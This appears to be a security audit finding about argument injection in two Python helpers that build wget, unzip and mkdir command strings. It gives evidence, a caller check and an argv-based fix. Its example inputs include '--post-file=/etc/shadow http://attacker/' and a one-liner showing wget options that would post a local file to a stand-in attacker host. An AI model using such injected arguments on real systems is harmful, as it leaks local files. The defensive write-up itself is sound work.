[LOW] jessentials.download_file()/unzip_file() interpolate URLs and paths into command strings (latent, no callers) #48

Summary

Two command helpers in the shared jtools library build command strings from their arguments instead of argument vectors, with no quoting or escaping:

• additional/python/jessentials.py:166-167 — download_file():

  def download_file(link, destination_folder):
      run_command("wget %s -P %s" % (link, destination_folder), False)

• additional/python/jessentials.py:173-181 — unzip_file():

  def unzip_file(file_path):
      file_name_zip = get_filename_of_path(file_path)
      file_name = os.path.splitext(file_name_zip)[0]
      path = file_path.replace(file_name_zip, "")
      run_command("mkdir %s%s" % (path, file_name), False)
      run_command("unzip -o %s -d %s%s" % (file_path, path, file_name), False)

run_command() (line 34-41) does shlex.split(command) and spawns without a shell, so this is argument splitting/injection, not shell injection: a value containing a space becomes several arguments, and a value crafted as --post-file=/etc/shadow http://attacker/ would add whole options to wget (e.g. transmitting a local file to a remote host) or change unzip semantics.

Sibling of #43 (jfiles.copy_file(), same library family, same string-built pattern). Neither function has any caller in this repository today (verified: grep -rn "download_file\|unzip_file" additional/ lib/ finds only the definitions), so the flaw is latent — but jessentials is imported by every privileged root script (run_multiple_commands.py, read_security_report.py, setup_automatic_snapshots.py, …), so both helpers are root-reachable one new caller away, and even a benign future caller silently misbehaves on URLs/paths containing spaces.

Impact

Latent argument injection in a helper module that is loaded into root contexts. Nothing is exploitable today (no callers), but the pattern is exactly the one this project has been removing (run_multiple_commands.py's docstring, #43, the Dart-side queue rewrite), and download_file() is the natural helper a future "download a driver/archive" feature would reach for — at which point the URL, the one argument that is attacker-controlled by nature, lands unescaped in a root command line. Even without an attacker, both helpers corrupt paths/URLs containing spaces or quotes (a hard error class this repo has repeatedly fixed).

Complexity

• Complexity: 1 (Trivial)

Evidence

• additional/python/jessentials.py:34-41 — run_command() shlex-splits the string; no shell, so values split on whitespace and ---tokens become options:

  process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, env=environment, user=user)

• additional/python/jessentials.py:166-181 — both helpers, verbatim:

  def download_file(link, destination_folder):
      run_command("wget %s -P %s" % (link, destination_folder), False)
  
  def unzip_file(file_path):
      ...
      run_command("mkdir %s%s" % (path, file_name), False)
      run_command("unzip -o %s -d %s%s" % (file_path, path, file_name), False)

• Caller check (only the definitions exist):

  grep -rn "download_file\|unzip_file" additional/ lib/

Demonstrating the argument-splitting behavior of the same shlex.split path (no app needed):

python3 -c "import shlex; print(shlex.split('wget %s -P %s' % ('--post-file=/etc/hostname http://attacker/', '/tmp')))"
# ['wget', '--post-file=/etc/hostname', 'http://attacker/', '-P', '/tmp']

Recommended Fix

Replace both string invocations with argv lists — the same fix the repo already applied to the Dart side (runPythonScript, lib/services/linux.dart:1478) and to run_multiple_commands.py:

def download_file(link, destination_folder):
    process = subprocess.Popen(["/usr/bin/wget", link, "-P", destination_folder],
                               stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    return process.wait()

def unzip_file(file_path):
    ...  # unchanged path computation
    run_command_argv(["/usr/bin/mkdir", "-p", "%s%s" % (path, file_name)])
    run_command_argv(["/usr/bin/unzip", "-o", file_path, "-d", "%s%s" % (path, file_name)])

Or, if no usage is planned, delete both dead helpers (upstream jtools-unix-python remains the upstream source) and note it in #43's scope. Add a small unit test in additional/python/tests/ asserting that a link/path containing a space and a leading -- reaches the runner as a single argv element.

References

• CWE-88: Argument Injection — https://cwe.mitre.org/data/definitions/88.html
• CWE-78: OS Command Injection — https://cwe.mitre.org/data/definitions/78.html
• OWASP OS Command Injection Defense Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
• Related finding in the same library family: [LOW] jfiles.copy_file() builds a shell command from unescaped paths (os.system + quote wrapping) #43

Validation

attacker_source: the arguments of download_file()/unzip_file() — today from no in-repo caller (dead code); the natural future caller passes a network-derived URL or a disk-derived archive path
missing_guard: no argv-based execution and no quoting/escaping — both helpers format values into a single command string that run_command() shlex-splits (jessentials.py:38/40)
sink_effect: whitespace splits values into extra arguments and leading-dash values become options of wget/unzip/mkdir (e.g. wget --post-file=<local file> <remote URL> exfiltrates the file); misresolution of any path containing a space
preconditions: a caller must pass untrusted data into either helper; currently none exists, so the finding is latent (the module is imported by the privileged root scripts, so a root-context caller is the realistic risk)
proof_anchors: additional/python/jessentials.py:166-167 ("wget %s -P %s"), additional/python/jessentials.py:179-181 ("mkdir %s%s", "unzip -o %s -d %s%s"), additional/python/jessentials.py:38 ("Popen(shlex.split(command), …)")
suggested_validation: grep -n "wget %s\|unzip -o %s\|mkdir %s" additional/python/jessentials.py && grep -rn "download_file\|unzip_file" additional/ lib/ tool/ | grep -v jessentials.py